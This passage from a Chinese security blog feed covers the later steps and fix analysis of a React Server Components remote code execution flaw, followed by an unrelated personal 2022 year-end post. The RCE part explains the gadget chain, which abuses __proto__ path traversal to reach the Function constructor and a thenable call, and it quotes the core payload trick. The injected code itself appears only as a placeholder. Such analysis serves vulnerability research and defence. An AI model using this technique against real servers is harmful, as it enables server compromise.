leaf="">2</span></span><span leaf="">), </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;&#34; → 0x00</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> prefix = response._prefix;          </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 已被我们塞成 Node 代码</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> blobKey = prefix + id;              </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 关键：拼接成一整段 JS 字符串</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> backingEntry = response._formData.get(blobKey);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> backingEntry;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但现在 _formData.get 已经被改成 Function 了，所以这里实际上变成：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> backingEntry = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Function</span></span><span leaf="">(blobKey);</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">也就是动态创建了一个函数：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 概念化示意：</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> blobKey = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;恶意代码&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> f = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Function</span></span><span leaf="">(blobKey);   </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// function f() { 恶意代码 }</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">parseModelString 返回这个函数 f，reviveModel 把它写回 inner.then：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">inner.then = f;   </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// f 的函数体就是塞在 _prefix 里的那段 恶意代码</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最后就差这个函数什么时候被调用了。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">步骤二十：函数调用</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面我们提到过，getRoot(response) 返回的是 chunk[0] 这个 ReactPromise 对象：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">export</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">getRoot</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">response: Response</span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">Thenable</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt; </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = getChunk(response, </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (chunk: any);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 decodeReplyFromBusboy 的实现里，React 会把这个返回值当一个 thenable 来等待，要么直接 .then(...)，要么通过 await 让 JS 引擎帮它套一层 Promise。而 JavaScript 的 thenable 规则是：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">await thenable 或 Promise.resolve(thenable) 时，如果这个对象有 .then 函数，就调用它。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">对 ReactPromise 来说，then 是它自己的 ReactPromise.prototype.then：</span></p></li></ul><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">ReactPromise.prototype.then = </span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">resolve, reject</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">this</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  ...</span><span leaf=""><br/></span><span leaf="">  switch (chunk.status) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED:</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> resolve === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;function&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        resolve(chunk.value);</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    ...</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此时 chunk.status === INITIALIZED，chunk.value 就是上一步中的 fake chunk 对象。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那么第一次 then 调用，JS 引擎会调用：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">chunk0.then(resolve, reject); </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// resolve 是内部创建的 Promise resolve 函数</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">ReactPromise.prototype.then 里执行：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">resolve(chunk0.value);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 把整个 payload 对象交给 Promise 机制</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">接着是第二次 then 调用（重点）：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Promise 规范里，如果 resolve 的是一个带 then 方法的对象，它会继续把它当成 thenable 处理，再去调用那个对象的 .then。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">刚刚构造的 chunk0.value 的内部 value 字段包含一个 then: f，在实际场景下，利用的 payload 就是让这条 thenable 路径走到这个 f。</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最终效果等价于：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 某个时刻</span></span><span leaf=""><br/></span><span leaf="">f();  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 函数体来自 Function(blobKey)，里面调用了 恶意代码</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最终，所以一旦 f 函数被调用，就会在服务器上执行我们传入的恶意代码，完成从 RSC 反序列化 → getOutlinedModel → 覆盖 _formData.get → Function(...) → thenable → child_process 的整条 RCE gadget 链。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在这个 gadget 链中，实现调用 Function 构造函数 只是第一步，更精彩的是如何使用传入的字符串来调用这个函数，也即 call gadget 这个过程，作者巧妙的借用 Chunk 套 Chunk 的思路成功实现了这个串联，是真的牛逼。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">4、漏洞修复分析</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">payload 里有一个核心 trick：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">让 chunk[1].value = chunk[2748]（一个永远 PENDING 的 chunk），然后 then: &#34;</span><span leaf="">1:constructor:constructor&#34;，通过 getOutlinedModel 在“走 path 的过程中”不断遇到 ReactPromise，再 waitForReference，把自己挂到还没出现的 chunk 上。</span></p></blockquote><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">现在的逻辑变成：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">所有“引用另一个 chunk”的行为，最终都归入 InitializationHandler 的 deps 计数；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">一旦某个依赖 chunk 最终解析失败 / 全局错误（reportGlobalError）触发，</span><strong style="font-weight: bold;color: black;"><span leaf="">整条链统一 error</span></strong><span leaf="">，而不是留一个还在 PENDING 的洞给它卡住。</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">也就是说，利用永远不会到来的 chunk 来绕过一部分检查这条路基本被堵死了。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但就一点可能就没了吗？</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">再来看看 reviveModel ：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;string&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> parseModelString(response, parentObj, parentKey, value, reference);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">for (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> key </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> value) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (hasOwnProperty.call(value, key)) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> childRef = reference !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf=""> &amp;&amp; key.indexOf(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">) === </span><span style="line-height: 26px;"><span leaf="">-1</span></span><span leaf=""><br/></span><span leaf="">      ? reference + </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf=""> + key</span><span leaf=""><br/></span><span leaf="">      : </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> newValue = reviveModel(response, value, key, value[key], childRef);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (newValue !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf=""> || key === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;__proto__&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">      value[key] = newValue;</span><span leaf=""><br/></span><span leaf="">    } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">delete</span></span><span leaf=""> value[key];</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">虽然这里将 </span><strong style="font-weight: bold;color: black;"><span leaf="">proto</span></strong><span leaf=""> 视为普通属性，但同样意味着，Flight 协议级别的“原型链污染”语义仍然存在，这不是修补掉的。React 自己现在尽量不把“解出来的对象”再喂回内部敏感结构（比如 _formData 实例），但业务代码如果拿 decode 出来的对象做 deepMerge 或者配置合并等，那就是应用层的新漏洞。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此外，Flight 协议依然非常复杂，$ 前缀字符串有一堆语义（chunk 引用、server reference、symbol、typed array、临时引用等），所有这些路径都在 parseModelString → getOutlinedModel → waitForReference → loadServerReference 这套比较绕的逻辑里走，这类代码很难凭肉眼说“百分之百没有逻辑缺陷”，只能说目前没有发现新的。</span></p><h1 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">三、总结</span></h1><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">1、使用了 React 不一定会使用 RSC（React Server Components），也就是不是所有使用了 React 框架的项目都会存在这个漏洞，通常来说传统的前后端分离架构项目、使用 Vite + React 纯前端开发的项目、后端是独立服务（Java Spring、Django 等）的项目以及需要高度的前后端解耦的项目都不会存在这个漏洞，只有使用了 RSC 的项目才存在。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2、虽然目前大多数项目仍然使用传统的 SPA + API 模式，RSC 主要在 Next.js 生态中使用，并不是主流的默认选择，但由于其敏捷性和 AI 动手写代码，导致现在影响量巨大。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">3、从修复角度来看，当前实现 RCE 的路子已经被堵死，但是还是存在新漏洞的可能。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">4、分析完后，可以发现，这个漏洞严格说，并不是典型的“往 Object.prototype 上写属性”的全局污染，而是通过路径遍历滥用原型链（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__proto__</span></code><span leaf="">）来拿到 Function 等危险对象，再借助内置逻辑完成 RCE。</span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247484098">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cb5842c4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247484098%26idx%3D1%26sn%3Db95cfa7c40deb6d7e699ee01f1e3a6aa">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 08 Dec 2025 10:02:00 +0800</pubDate>
    </item>
    <item>
      <title>2022 总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247484091&amp;idx=1&amp;sn=e8a229f4d6e31929534bec0bc06fe3c3</link>
      <description>即将踏上 2023 的班车</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-12-31 20:31</span> <span style="display: inline-block;">浙江</span>
</p>

<p>即将踏上 2023 的班车</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fa812137&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmoic5QHxF3iahLScmwb75fwD1iaVyrjHXlQhOFvdx79H3hiaLev8yMrJRZLsUtHnEERSmRibf6W2rOJicaA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p cid="n2" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">2022 正式脱离了学校的生活</span></p><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">从学生走向了社畜的生活</span></p><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">不得不说，感觉时间过得越来越快</span></p><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">从每周，到每月，到每个双月，再到每个季度</span></p><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">时间眨眼而逝</span></p><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">2022年学习的新知识也不少，但主要是不同方向的知识</span></p><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在深度上，没有多少的精进</span></p><p cid="n20" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">也时常迷茫未来应该如何发展</span></p><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">常问自己，自己能有什么做到与众不同的或者做的比别人好的吗</span></p><p cid="n26" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">到头来也没个答案</span></p><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">只是按部就班的来过</span></p><p cid="n30" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">2022复现了不少有意思的漏洞</span></p><p cid="n32" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">也发现了很多漏洞</span></p><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">一句话总结的话</span></p><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">2022 可能用“波澜不惊”形容更合适吧</span></p><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">2023，希望自己发现一个牛逼的漏洞</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484091">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=71df595a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247484091%26idx%3D1%26sn%3De8a229f4d6e31929534bec0bc06fe3c3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 31 Dec 2022 20:31:00 +0800</pubDate>
    </item>
    <item>
